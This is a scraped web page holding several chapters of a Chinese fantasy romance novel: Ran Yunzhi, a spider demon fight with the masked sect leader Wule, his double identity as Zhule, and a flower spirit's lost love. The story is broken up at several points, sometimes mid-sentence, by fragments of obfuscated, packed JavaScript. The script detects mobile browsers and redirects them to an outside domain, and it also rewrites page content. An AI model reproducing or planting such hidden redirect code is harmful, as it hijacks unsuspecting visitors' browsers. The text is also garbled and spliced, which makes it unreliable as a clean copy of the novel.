0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447871|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得?” 冉云祉看都不看他:“我乐意。” “为什么?” 他死死地盯着她的眼睛,初见她时并不觉得惊艳,在月光的照耀下,如今这张脸因为高烧泛着旖旎的色彩,可是他却生不出一丝玷污的心思,而是急切的想要一个答案。 转过头来,看着我回答。 他被自己的想法吓了一跳,可是又忍不住的想向她靠近。 手掌下她的手腕炙热地跳动着,在她心里,烛乐究竟是一个怎样的存在,值得她这样去守护? 冉云祉视线看过来,眼底漾着一轮清澈澄亮的明月,仿佛里面不沾染一丝一毫的邪恶,他连着她看过来不加掩饰的厌弃也忽略了。 “因为,在那个雨夜里,他没有丢下生病的我。”她一字一顿坚定的回答,“滴水之恩,涌泉相报,仅此而已。” 十八岁的少女,有属于她这个年纪的青涩单纯,却也固执的多了一份超脱她这个年纪的勇敢坚韧。 之前也有一个少年是这样怀着赤诚的心,心怀大义救人于危难,全然不顾己身的危险。 可在他落难时没有一个人伸出援手,直到撞得头破血流、支离破碎。 无乐眸光暗下来,松了手默不作声,冉云祉疑惑:“你这是什么意思?还是又想反悔?你是不是在想让我把他捅了吧?” 他看了她一眼,语气平淡:“捅吧。” “那不行,我会再试着把你捅了。”她与他对峙,毫不退让。 他没有说话,抓起桌上的匕首,冉云祉惊呼:“你想杀人灭口?” 下一秒,那把匕首在他手里断成两节,他随手一扔,将一边燃着的香削碎,而后闭上眼压下翻涌的情绪。 “你又想干什么?”她追问,恰在这时,耳畔突然响起一阵狞笑,像是一个女人的低吟,这声音尽在咫尺,无比瘆人。 无乐猛然睁开眼睛,先前那抹复杂的神情已经尽数消失,他以一副冰冷的口吻突然说着:“什么东西也敢肖想灵泉玉!” 话音刚落,他还是坐在那里,抬头却不知看到了什么,指尖凝聚,渐渐汇成一道蓝色的光芒,往上一挥,蓝光向他们的头顶飞去,咔嚓几声,似是结冰的声音。 冉云祉抬头看去,他们的头顶是一张巨大的蛛网,此时被无乐不知用了何种法术冻结在原地。 蛛网上盘着一只和人一般大的女妖怪,她上半身是一个肤白貌美的妖艳美女,下半身却是褐色的蜘蛛腹部,八条蜘蛛腿从腹部延伸出来,每一条都快赶上她的手臂粗细了,看上去就不好招惹的样子。 她毫不怀疑,这蜘蛛能够把她一口吞下去。 “这位公子真是好身手,这一张网人家织了好几天,我可是很满意呢,你一下子就毁了,拿什么赔我?”蜘蛛开口说话时,也是一副娇软柔媚的声音,听着让人骨头都酥了。 可是无乐却十分不解风情,只是一个字:“滚。” 蜘蛛愣了一下,似乎没想到无乐竟然如此嚣张,也不再伪装:“既然如此,本来今日只想捞了灵泉玉心情好放你一马,如此休怪我带你回去一同杀了。” 一束黑色的蛛丝从她口中喷出,分成三股朝着下面的三个人射去,无乐在她出手的刹那伸手将冉云祉扯入怀里。 他的背上有一把剑,但他似乎并不喜欢用剑,手指灵巧的掐了个诀,挥出一抹蓝光,直冲而上,将十里的树林活物尽数冰封。 蜘蛛妖身体庞大,没想到身体并不灵活,蛛丝冻在原地,这次甚至将蜘蛛的腿都冻住了。 “小家伙,你说滴水之恩涌泉相报,今日我救你一命,你当如何?” 他游刃有余的使用术法,还有心情与她说话,语气霸道又狠戾。 “我要你永远记得我的恩,这辈子都欠着我一条命。这条命都是我的,我要是想要,你要毫不犹豫献给我。” 19.暗潮(六) 这是冉云祉第一次与无乐贴的这么近,她在他怀里,像是置身于万年寒冰之中,就算是她如今的高烧也不能将这寒冰融化。 她下意识地贴近了他几分,反应过来的她眼中迅速闪过一丝羞辱。 他可是要她命的大魔头啊! “滚蛋吧你,我今天这一切都是拜你所赐,还想让我感激你,放我下来!” 无乐恰好捕捉到了她眼中渐渐生起的抗拒,面具下的嘴角微微一勾,将她额头上的冷贴揭了下来。 冰贴落在黑暗里,顷刻间消失不见。 “你……”顷刻间,脑袋像万千根钉子一样扎在脑海,像要炸裂开来,她一下子坠入无边的火海。 “不谢我?那就让你烧着,这样你就会主动贴近我了吧?” 一直在压制的高热此刻一齐袭上来,烧的她头晕眼花,头脑也被搅的不太清醒,他寒凉的身体对此刻的她有着致命的吸引力,但她又狠狠地咬着嘴唇骂着:“狗东西……” “还在骂我?”他没想到她竟然还有精力骂他。她还是这副桀骜不驯的样子顺眼,那样低微恳求的模样看着就虚伪恶心。 还没来得及调侃她几句,就听见她喃喃出声:“烛乐……烛乐还在那里……” 无乐心情五味杂陈,这种时候他也分不清心里到底是什么滋味,冷哼一声:“死不了,你放心。” 他抱着她缓缓落地,衣袍在他凌厉指风带动的风中纷飞,他低头看了她一眼:“灵泉玉我就放在你身上,记住了,那是我要的东西,没有我的允许,不可以让其他东西拿走。就是死,你也得死在我手里。” 他说完这句话,在她身侧画了个圈,而后足间轻踏,踩着冻着的蛛丝一跃而上。 该到了收拾这个东西的时候了。 这个夜晚晴空万里,本没有风,如今天地变色,狂风四起,月光不知何时漫上一层血色,拍在银狼面具上,仿佛他本人也沾了血,妖艳万分。 呼啸的风声中,蜘蛛妖无法动弹,想逃窜可是那冰冻的她无法移动,她从口中再度吐出蛛丝想要挣扎,无乐只念了个诀,从他身后绽开幽幽蓝火,如同幽冥鬼火,借着风力,将这火却将蛛丝烧成了黑灰。 “你到底是谁?”蜘蛛妖谨慎道,“这种招数,你是那个僧人,不……他早已经死了,你与他长的并不相像……” 无乐微微一笑,却不回答:“你就只有这点招数,还敢来招惹我?” 蜘蛛妖再也无法,面上终于露出了一丝惊慌的神色。 “我错了,我错了,我再也不打灵泉玉的主意了,公子,你就饶我一命……” 他恍若未闻,一步一步走到蜘蛛的面前,没有一丝情绪,微微启唇:“给你两个选择,一,乖乖交出妖丹。” 而后他不再说了,蜘蛛颤声,话都说不利索了:“二是什么?” 他笑了笑,反问:“你说呢?” 交出妖丹和要她死有什么区别,不过是早死晚死罢了。她犹犹豫豫的,拼命求饶再三保证绝对不动灵泉玉,以后见了冉云祉绕道走。 妖怪多半生的貌美,此刻一个娇滴滴的美人摆在他面前,香肩半露,美目流光,嘤嘤哭泣,天下没有一个男人会无动于衷。 无乐沉吟了一下,似乎受到了影响:“算了,我不要了。” 蜘蛛心头一松,娇声道:“多谢公子不杀……” “我的意思是,你这妖丹太脏,喂狼我都觉得恶心。”他面无表情地看着她,“所以你还是去死吧。” “……” 他这一趟干净利索,仿佛只是小小的插曲,很快天中异象散去,他重新回到结界前,树下的女子早已撑不住,阖上双眼昏睡过去。 不知道她梦到了什么,好好的一张脸都皱成一团,睡得并不安稳。 不知有多少这样的妖怪打她的主意,这样脆弱的身板揣着天下至宝,还想着到处乱窜,就算他不动手,她迟早有一天会把自己搭进去。 身后,面容与烛乐相像的白衣少年缓缓走来,向他恭敬行了一礼:“门主。” “没你的事情了。”无乐说着,摘下了脸上一直戴着的银狼面具,露出一张纯良的脸。倘若冉云祉此刻还是清醒着话,一定会跳起来质问他为何这张脸长的与烛乐如此相像。 如果见面的时候是白昼,如果她不是这样不太清醒的状态,她可能就辨认出那个沉默的人根本就不是烛乐,只不过是他找的一个与他很像的替身,名唤萧蓝。 萧蓝走了几步,似乎是不甘心,又回头劝说:“门主,您就这样放过她了?” “你自作主张对冉云清使用毒药废她经脉,我还尚未追究你的过错,谁允许你这样做了?” 他体会过经脉断掉成为废人的痛苦,又何需用这种毒药。若是废人经脉,他一只手就能搞定,而且还让冉云祉觉得他是个虚伪的小人,打乱了他的计划,他怎么不恼? 萧蓝提醒道:“门主,不要忘了本门的教义。” 无乐眼神一凛,冷冷道:“萧蓝,我是不是对你太过和颜悦色让你不知天高地厚了?谁给你的胆子敢来管我的事情?滚去寒潭底下呆上三个月,若是再敢对我的事指手画脚,我把你的爪子剁了。” 等到人终于走了,他的戾气才散了些,走到一侧,又是一个白衣少年。片刻,他将右手搭在自己的左手腕处,对着自己的脉搏注入法力。 手指萤亮的蓝光从沿着左手腕的经脉流遍全身,似乎废了他很大的力气,他的脸色变得很差,苍白近乎虚无,连带着额角都冒起了青筋。 过了一段时间,他似乎才完成了这项奇怪的动作,抬手擦了一下额头上的冷汗,微微平复了呼吸,上前几步将树下的女子背起来往回走。 好冷……怎么会这么冷……像置身在冰天雪里,冻的她发冷。 她额头上又贴了一个新的冰贴,晕晕乎乎的躺在一个人的背上,隐隐约约看清面前的人是烛乐,月光透过树影落在他脸上,他整个表情也忽明忽暗看不真切。 “烛乐……你身上……怎么这么冷?”她断断续续呢喃出声,好像已经将之前发生的事情忘记了。 他的脚步似是一顿,回过头来看向她,见她垂下头无意识的趴在他身上,应该是没有清醒。于是小声说道:“不是我冷,是你高烧才会觉得冷,放心,一会就不冷了。” 再过一阵,他就能恢复体温,变成那个无害的烛乐。 “对……高烧是会冷的。”她闭上眼,并没有怀疑,两只手无力的垂落在他的两侧。 也对,她从未怀疑过他。 他就这样背着她,感受着来自于她的体温,踩着月光往回走。 “无乐,他怎么样了……”她说的声音很低,低到他几乎听不清楚“无乐”还是“烛乐”,可是他觉得她说的应该是无乐,因为——烛乐在这里,那个“他”只能是无乐。 他在一片没有温度的世界里走的太久,茫茫雪地冰川不见一人,忘记了自己的温度,连同灵魂都碎成零落的雪花,风一吹散的四处都是,怎么都拼不成一个完整的他。 如今,他一而再再而三地摇摆不定。 只是为了计划而已。他在心里说着。 无乐门的教义。他创立无乐门的时候便发誓记在心里。 无情无爱无乐。即是本门教义。 * 冉云祉睁开眼睛后,对上屋内的三双视线。 “呃,你们这样看着我干嘛?”她挠挠头,有些不明所以,瞧见烛乐端了药过来,她的眼睛瞪大了。 还没来得及问他什么,冉云清握住她的手:“阿祉,你真的太乱来了,如果无乐门主把你杀了怎么办?” “还有,你给我留的信,什么如果你死了就给你报仇,胡说什么,你不能死。” 昨夜几人回来给她带了解药,将事情的前因后果告诉她。戴苍发觉冉云祉有心事,半路跟着她想一探究竟,却被无乐门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14457360|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主发现派人阻拦。 等他解决完那些黑衣人,无乐已带着冉云祉不知所踪,等他发现林中有法术的气息,赶去的时候,就瞧见烛乐背着冉云祉回来了。 无乐门主……冉云祉想了想晕过去之前,无乐门主从蜘蛛妖手里把她救下,他好像说了一句什么来着,然后……她就晕过去了,哎呀之后发生了什么啊。 她悄悄看向烛乐,烛乐也正好在看她,似是在解释:“昨日趁着他们在打架的时候,我带着你离开了。昨晚那个……是妖怪吧?” 他指的是妖怪,瞒不住了,她点点头。 修成妖身的妖怪若非自己愿露出妖身来,寻常人是看不到妖怪的,昨天那个蜘蛛妖是主动暴露的,所以烛乐可以看到。 想起昨天无乐门主所作所为,她有些摸不着头脑,想了想还是把昨夜发生的事情挑重点如实相告。 “你是说,无乐门主没有杀你?”两人觉得意外,总觉得魔头应该是个不择手段的人才是。 “他不会又有什么阴谋吧?” “无乐人虽然恶劣,但昨天那种情况下还护着我,哼,这样看来,倒也不是无可救药。”她隐去了昨日无乐提出来的那个恐怖的游戏,不想让这几个人担心。 “你昨夜的高烧是怎么回事?”冉云清想起她莫名其妙的风寒,皱眉问道。 冉云祉想了想,将灵泉玉的副作用告诉了他们,戴苍奇道:“如果真如二小姐所说,这神物都有一定的副作用,那其他三样想必也是如此。” “说不准,也许是因为我这个人体质太弱。” 但如果神物都有不同程度的副作用的话,无乐门主集齐四个作用集于一身,他的身体要毁到什么程度? 还有他身上那冰冷的温度…… “姐姐,三殿下,你们知道有什么武功或者法力,看起来是正常人,可是会让人全身冰冷吗?”她对这个世界了解的还是太少了,只能求助于比较有经验的两人。 冉云祉摇摇头,系统告诉她并没有听说过。 戴苍倒是若有所思:“我倒是好像瞧见过这种功力,但我以为是异闻,并没有记清。” “是在哪里看到的?”她问。 戴苍耸耸肩,淡道:“行走江湖时随手拿的路边的小册子,和话本混在一起看的,你怎么会问这个?” “哦,因为无乐门主他就是这样的,我在想他修的是什么功法,所以想问问你们……” 冉云清与戴苍神色奇怪,烛乐全程听他们谈论,神色自然,事实上他在这几人里面,永远不会主动说话。 他舀了汤药递到她嘴边,她笑了笑:“谢谢你啊烛乐。” 他摇摇头,凝视着他的眼睛:“不,我要谢谢你高烧还来救我。”他顿了顿,“救命之恩,我……” “咳咳。”没等他继续说下去,她打住他的话,“不用,不用,本来就是我将你牵扯进来的,你不必放在心上。” 戴苍盯着烛乐看了半晌,还是决定对冉云祉说出他的打算:“二小姐,我们尽快动身,找到邹公子,完成虞美人的心愿后,然后你跟我们离开清云山庄。” 既然这段时间都没有找到让灵泉玉离开冉云祉的办法,继续耗下去也是浪费时间,按照冉云清的意思,他们需去下一个地点寻找神物。 冉云祉指了指自己:“我也要去啊?” 冉云清走过来摸了摸她的头发,柔声说:“你身上有灵泉玉,我们不放心你待在山庄,还是跟我们一道吧。” 她说着话,视线又看向一旁的烛乐:“等这件事情结束,烛乐就留在清云山庄好了。” 昨夜的事情蹊跷,她还是觉得烛乐这个人好生奇怪,以防万一还是留在清云山庄让人盯紧了。 冉云祉想了想,觉得这样的安排没什么问题,再说这一切都是因为自己而起,她还是不要任性,不假思索的同意了。 烛乐没有说话,盯着那碗汤药,不知道在想些什么。 20.云霁(一) 一行人进了平里镇,按照糖画老伯的指路,紧赶慢赶正午时分找到所谓的邹公子时愣在原地,瞪着面前这人看了半晌。 “我从一开始就不该找他……”冉云祉捂着脸,眸光空洞懊恼不已,实在不想承认面前的这个人就是虞美人花妖挂念了四十年的男人。 平里镇一处黄泥土与茅草堆成的屋子里,墙壁颓垣,哪怕没有风,屋顶的泥土也在往下掉落。 屋里根本没有家具,破碗叠放在屋里,空气里都是腐臭的气息,几只苍蝇围着屋子里睡在正中央的人转来转去,一只满是脏污的手在空中不耐烦地挥来挥去。 冉云祉的眉头不由得皱起,胃里有些不舒服。 那人的头发乱成一团,仿佛头上堆叠了一堆干枯的野草,只穿一件破破烂烂的单衣堪堪裹住身体,浑身瘦弱的像一块干柴挂着一堆破布,那双污浊的眼睛看到他们就像看到了珠宝一样,嘴角流出了涎水,从地上一跃而起。 “大人啊,赏点饭吃吧,我做什么都成。”他张开干燥的嘴唇,里面是一口掉的七零八落的黄牙,“我年轻的时候长的可好看了,我还会读书,我……啊!” 后面的话他没有说完,烛乐拽了一下冉云祉的袖子,冉云清对她摇摇头,在这人爬过来的瞬间,戴苍便护在了几人面前,长风剑一出,止住了他连滚带爬的动作,把他吓在了原地。 “我们真的没有找错吗?”冉云祉疑惑道,这好像和花妖描述的不是一个人。 “这个邹老头还以为活在过去的世界里呢!”外头有人路过,看到几人好心的提醒了一句。 冉云清上前询问来龙去脉,那人看了看几人的面貌觉得面生,以为是刚来这里不久,话匣子打开,一五一十将他所知的一切告诉几人。 “我是听我爷爷说起的。邹老头年轻的时候长的确实一表人才,相貌堂堂,读过几本书就觉得自己是紫薇星下凡,无人可以与之相比,在花灯节上不知怎地就被一家富家小姐看中了。” “但那位小姐喜好男色,看中的不止有他,过了大概五六年吧,总之他回来的时候,整个人就跟榨干了精气神似的,眼窝深陷,看起来苍老了不少。” “那时他不过二十多岁不到三十岁的年华,若是醒悟重新读书也就罢了,可他偏偏还想着与之前一样邂逅一位小姐,浑浑噩噩过了这么几十年,一事无成,混成这个样子。” 冉云祉听完忍不住内心腹诽:这不就是软饭男不成过的窝囊吗? “他之前可是花农?”冉云清又继续问。 好心的邻居低下头想了想:“大概是吧,好像是老邹不愿他如此没有骨气,让他专心做花农,或者用心读书都好。记得那晚他们吵得好大声,第二天醒了,老邹和他夫人双双从井里捞出来,人已经没了,邹老头哭着说什么他们怎么这么想不开,着急着将院子里名贵的花草变卖了离开宅子。” 他再度看了屋子里那个形容枯槁的老人一眼,叹息着远去,太阳仍然坠在空中,却单单照亮不了这腐朽肮脏的茅草屋中的污秽。 “是老头子不好!有位僧人曾说我们家必出状元之才,天生就是富贵命,老头子阻碍我,真该死!”听了过去的事,他神色激动起来,“都是他没用……何况我追求自己的幸福有什么错!都怪他……” 说着说着,他又像发了疯般的,在茅草屋内扭曲蠕动,撞翻了本就摇摇欲坠的碗,碎裂在地上,苍蝇受了惊嗡嗡的飞了一圈,迷恋般又重新落回了他的身侧。 他终于从地上挣扎着爬起来了,却一下子摔倒在屋外坑洼的臭水沟里,滚了一身的脏泥巴。 “你还记得你家里那棵粉白的虞美人吗?”冉云祉试探着问了一声。 少女清脆的声音回响在屋外,他抬起头恍然间只能见到一个粉白的身影,他顿住几秒,歇斯底里的嚷嚷着:“谁还记得那种东西。” “大人,给点吃的吧。”他又哀求着跪下磕头,他的身上再也看不到一丁点的文人傲骨。 他整个人都烂掉了,由内而外的,如同井里的烂泥。 几十年前他是风华正茂的邹公子,几十年岁月蹉跎,自命不凡,抛却一切的他,落的如此潦倒的下场。 冉云祉可以给大热天卖胡饼的大爷铜钱,因为他们是努力活着的人,对于这个人,她并没有动作,一个子都不想给。她嘴唇翕动:“我不施舍废人。” 屋外几人的身影渐渐消失在正午的阳光里,那人趴在地上,像死了一般再也没有动作。 “很难想象,虞美人口中的救命恩人如今变成了这副模样。”回去的路上,戴苍沉吟着。 经过昨晚的事,烛乐已经见过妖怪,所以关于妖怪的话题也不再避讳。 “虞美人形似罂粟,罂粟致幻。且心思单纯,估计是被他的表相迷惑了,且过了这么多年,回忆里将他美化了无数遍,只相信自己看到的真相。”冉云清一针见血的指出来,“阿祉,你还要将这些告诉虞美人花妖吗?” “要吧,可不能让她继续恋爱脑上头。”她说,“她回忆里的周公子……本就是她幻想的一个人,听什么僧人的话……愚蠢。” “也好。” 冉云祉看向窗外,唏嘘不已:“空有一副好皮囊有什么用,说不定内心早就烂透了。年轻时他尚能用这副面相醉生梦死,年华褪去,什么都不曾剩下,最终和那摇摇欲坠的茅草屋一样,烂成一摊泥。” 可叹人生若只如初见。 她又叹了口气:“因为相遇太美好,所以花妖被打动了。可怜邹公子这一生活成了笑话,死去之后也不会有人记得他,可偏偏一只刚修成妖身的花妖念念不忘。” 马车一路走的颠簸摇摇晃晃,烛乐的视线毫无焦距地落在骏马的鬃毛上,四角缀着的铃铛叮当作响,一如他的心摇摆不定。 * “阿祉就是被你惯坏的!阿祉从小就没吃过苦!” “她们姐妹俩,是我拼尽全力生下的,你非要送阿清去修炼,女儿是要拿来疼爱的!如今阿祉若出了什么事,我跟你没完!大不了,我们就离!” 回到清云山庄,还没来得及通传,就被一声中气十足的女声震了震。 冉云清嘴角抽了抽,叹了口气:“是我们的娘。” 下人赶紧通传,几人走进去,便看见一位约莫三十多岁不足四十岁的夫人叉着腰指着冉言淮骂着,堂堂清云山庄庄主像个犯了错的孩子般缩在角落里对手指,全然没有之前威仪的模样:“明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475230|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人惯阿祉更严重一点……” “你说什么!”女声立马拔高了几度,吓得冉言淮连连摇头,“夫人说的是!都是我的错!” 四人面面相觑,还是冉云祉弱弱的喊了一声:“娘?” 冉夫人立刻转过头来,看到两个女儿好好的站在面前,立即抱着她们又哭又笑。她在得知冉云清从灵泾山回来的时候,便紧赶慢赶的回来,今日才刚到清云山庄不久。 “阿清这些年瘦了。”自从送冉云清去灵泾山,这还是母女俩第一次再见,让冉夫人好一阵心疼。 冉云清怔忪片刻,轻轻摇了摇头:“娘不用担心。” 她的母亲在现世离去多时,如今见到原身的母亲,多少让她有些不习惯,而这份疏离落在冉夫人面前,只当是这些年的母女情被距离冲淡。 然后又想到自己小女儿被魔头盯上,随时有性命之忧,她面露担忧之色:“阿祉也受苦了。” 平心而论,这个娘对原身真是不错,她也喜欢,但原主养成那样善妒的性子,她唯有感叹一句人心复杂。 冉云祉甜甜的笑了笑,虽然也是与她第一次见面,表现的却熟络的多:“娘,姐姐和三殿下会保护我的,您不用为我担心了。” 说到这里,冉夫人好像才发现身后的戴苍烛乐一行人。 这还是冉云祉第一次带男孩子回来,看这两人的穿着她立马就瞧出哪个是戴苍。 “先前便听说了阿清有一个师兄,曾听闻过三殿下在外的名声,如今一见气度不凡,真可谓英雄出少年。这些年多谢殿下对阿清的照顾了。”冉夫人笑呵呵道。 戴苍在长辈面前稍微收敛了性子,笑着回答:“夫人谬赞了,既然做了云清的师兄,照顾师妹也是应该的。” 冉夫人满意地点点头,再瞧了几眼一旁的烛乐,拉了他的手十分亲热的问:“这位小公子叫什么名字?” 烛乐面对这样的亲昵下意识的有些抵触,冉云祉赶紧挡在他面前笑道:“他是我在山下救下的一个少年,叫烛乐,以后就留在清云山庄了,娘可要好好照顾他。” 身后被忽略的冉言淮不满地冷哼了一句:“不像话!” 他眉毛一竖,心道哪来的野小子,随随便便就想把捧在心头上的明珠抢走?且见这小子瘦瘦弱弱的,怎么保护他的女儿,他第一个不同意。 然而很快,他就收到了冉夫人的白眼一记:“蹲好。” “……” 委屈巴巴蹲在角落画圈,偷偷瞄一眼小白脸,胡子又气得一竖。 “爹,我再也不乱来了。我向您保证。”冉云祉举起手立誓,跑去拉着冉言淮的衣袖撒娇,冉言淮几乎要落泪了,还是小棉袄贴心,知道关心他。 “爹知道你觉得清云山庄比较闷。”他的语气宠溺又无奈,“夫人从娘家回来带了一只猫儿回来,养在了你的屋子里,回去看看吧,你肯定喜欢。” 冉云祉惊喜道:“真的?” 她提起裙摆正想往屋子里走,突然想起她这一走烛乐估计会觉得尴尬,跑到他身边拉着他的胳膊:“你陪我一起去看。” “对了娘,烛乐以前吃了不少苦,今天让厨房多准备点好吃的,补汤也要,给他好好补补。” 21.云霁(二) 得知他们一行人要离开清云山庄,冉夫人抹了泪,万般不舍,再三恳求,冉云清心软改口下个月动身出发,他们也有了休整的机会。 “人类的寿命短暂,你这样用妖力维持妖身,也无法修炼成人,就算他没有死去,你见到他也无法说明自己的心意呀。”她蹲在花圃前,与虞美人说话。 周围的花草静悄悄的,默默不出声,虞美人花妖抬头看她,泪眼朦胧:“二小姐能看到我?二小姐找到周公子了?他过得还好?” “他……”冉云祉剥着橘子,一边将盘子几块糕点掰碎了撒到花圃里,那糕点很快消失不见。 她话锋一转,说道:“他中了状元,没有忘记他的约定,来找过你,可是你几经辗转来到了我们府中。他找寻未果后已经娶妻生子,一生顺遂。他的儿子告诉我,邹……周公子去世前还念叨着,你是他见过的最特别的一株虞美人,只可惜他活到最后还是个书生。” 花妖眼神懵懂,不懂这是什么意思,冉云祉摸了摸她有些残败的花瓣,长叹一声:“他不是说过了,虞美人都是虞姬执念所化,虞姬是巾帼名流,她的夫婿可是一代英雄,美人配英雄。等你修成人身,一定要找个顶天立地的盖世英雄。” 耳畔迟迟没有传来回声,过了许久,她才听到一声轻语:“我明白了,谢谢小姐了我心愿。” 虞美人放下了心结,冉云祉松了一口气。 她还是不忍心戳破她的美梦,就让她心中的周公子永远以最好的姿态活在她心中吧。 虞美人不喜高温,在高温里一直维持开花的状态,为数不多的妖力也该散尽了。 “对了,你们还想吃什么?”她又问花圃里其他花草。 没人回答,她站起身来要走,才听到一句很小声的:“桂花糕……” “玲珑雪酥……” 小精怪七嘴八舌,冉云祉在心头记下,扔了橘子瓣丢到嘴里,转身时撞入了一个人的怀里,一抹淡淡的花香在她鼻尖稍作停留,她很快就知道这人是谁。 烛乐今日穿了一身红白相间的纱制交领长衫,手腕是一对玄色绣着暗纹竹叶的护腕,腰间配以黑色腰封,江湖上那些仗剑天涯的少年侠客就是这副模样。 她最近很少见到他了,不禁看得入迷。冉夫人的审美远比她好得多,换上这一身装扮,加上他本就眼睛狭长明亮,样貌清秀,当真是意气风发的明媚少年郎,仅仅站在那里,就足以吸引院中所有精怪的视线。 只不过他的表情紧绷,眼睫半垂,看起来并不开心。 “烛乐,你这一身真好看。”她对他展颜一笑。 他没什么反应,只是看着她,不知道他在这里站了多久,蓝色天幕在他身后延展,他几乎与这淡蓝色的忧伤融为一体。 以免他将自己当成傻子,她急忙开口解释:“我是在跟精怪们说话,你现在看不到,哎呀不说这个,你来找我怎么不喊我?” 他的视线落在一旁的石桌上,冉云祉顺着他的视线看过去,那里放着一碟刚端来的米糕。 那米糕晶莹剔透,轻嗅一下,还能闻到清浅的甜香。 “你刚刚丢掉的那些糕点,是我亲手做的。”他的声音淡淡的,成功让她僵在了原地。 “阿祉原来不喜欢我做的东西……我还是将这些端走吧。”他的眸光暗了暗,眼睫上下一合,里面几乎很快就氤氲上一层水雾。 他飞快端起那碟米糕,转身就走。高挑的发尾扬在空中,只留给她一个倔强萧瑟的背影,似乎在控诉她无情的碾碎少年缠绵的心思。 她赶紧跑到他面前,抓住他手上的碟子着急辩解:“你听我解释,我不知道那是你做的,我也没有不喜欢,我只是想与他们分享。” 话说着,她又将他手里的碟子夺过去拿在手里,毫无形象地塞了一个到自己嘴里,边吃边点头:“烛乐,你的手艺真好。我说最近怎么见不到你的人,原来你在琢磨这些,你真是个天才。” 她这话不是夸张,这糕点小巧玲珑的一个,模样十分精致,软糯的口感,甜度适中,似乎是特意按照她的口味改良了。 他立在那里,盯着她看了一会,浓密的睫毛像被烈日晒的失去了水分的叶子,无精打采的。 “你见不到我,难道不是因为你没想着来找我么……”好半晌,他才露出了一个苦涩的笑容,“我对你来说很没用吧,所以你不想理我。” 冉云祉心头更急了,近几日她忙着与冉云清和冉夫人联络感情,已经好久没有留意烛乐那边的情况了。 “怎么会?你不要多想。”她连忙去哄他,但这副样子落在烛乐眼底又变了一番意味。 “阿祉待那只白猫也很好。”他又道,“是因为我说不喜欢猫,阿祉才讨厌我的吗?” 冉云祉冷汗连连,那日见烛乐不喜欢猫,她也尽量避免让猫出现在他面前。但她忘了烛乐是那么敏感的少年,她一个细微举动,他心里就会惴惴不安的想那么多。 他这么轻飘飘一句话,她便感觉有口难言,双手按住他的肩膀,直视他的眼睛:“不,烛乐,你听我说,我没有讨厌你,你很好,真的很好,遇到你我简直是撞了大运。” 他恍若未闻,一动不动,白玉一般的面庞像是琉璃一般,好像下一刻就要碎裂。 “阿祉,把人捡回家,让人认了主又把人丢弃。既然如此,还不如一开始就不要给他一点希望。”他的长睫轻颤,眼神躲闪,暖暖的阳光落在他的白衣上,却好似根本温暖不了他。 “我什么时候抛弃你了?” 院子里弥漫上一阵令人窒息般的沉默,远处的小精怪闭嘴,竖起耳朵偷听两人说话。 她没有躲避,直视着他的眼睛,如果这次不让他将心里的忧思说出来,会藏在心里一辈子的。 院里忽然起了一阵风,将他脸上的青丝吹乱了几许,她看了一会,将他的头发理好,柔声道:“不说也没关系。” 他小心翼翼的主动勾了勾她的手指,很不自信,带着些许的讨好:“我没有功力,对你来说是个累赘,还要你费心思救我。我会去学,我会做很多糕点,你要是再生病,我也会照顾你。” 他踌躇着,似乎是下定了决心:“所以,你不要把我留在清云山庄,带上我一起,好不好?” 冉云祉终于明白了他的异常是因为什么。原来他那时不出声,却在心里记了这么久。 她想告诉他不是讨厌,不是累赘,可是她要是拒绝,无疑是往这个敏感的少年心里再插上一刀。 她面上的纠结之色尽数落在他眼底,刚刚升起的光也熄灭了:“阿祉,你不用再说了,我都懂。”然后他落寞地绕过她,像游魂一样轻飘飘的离开了。 他懂,他懂什么,如果就这样让他走了,他心里止不住更胡思乱想。 于是她下意识握住了他的手,语无伦次地说道:“一个人无论有怎样的过去,是丰功伟绩还是恶贯满盈,在他死的那一刻,尘归尘,土归土,什么都没有了。所以,活着最重要。你还年轻,未来还有很多事可以做,你必须活着。” 烛乐心头一动,似没有听懂似的,回头怔怔地看着她。 她又说:“我说这些是想告诉你,想你留下不是因为别的,是因为在我身边很危险,就像之前的事还会经历很多,我不想你陷入危险,你就留在山庄好好活着……” 她没有再说下去,因为他将她的手用力回握了。 “我不在乎生死,如果我再遇到那样的危险,你不用管我,让我自生自灭。天涯海角,你在哪里,我就在哪里。” 他是那样期待而喜悦,仿佛这是他毕生的心愿。冉云祉实在无法拒绝,像是被他蛊惑似的,不知不觉就答应了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14496744|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 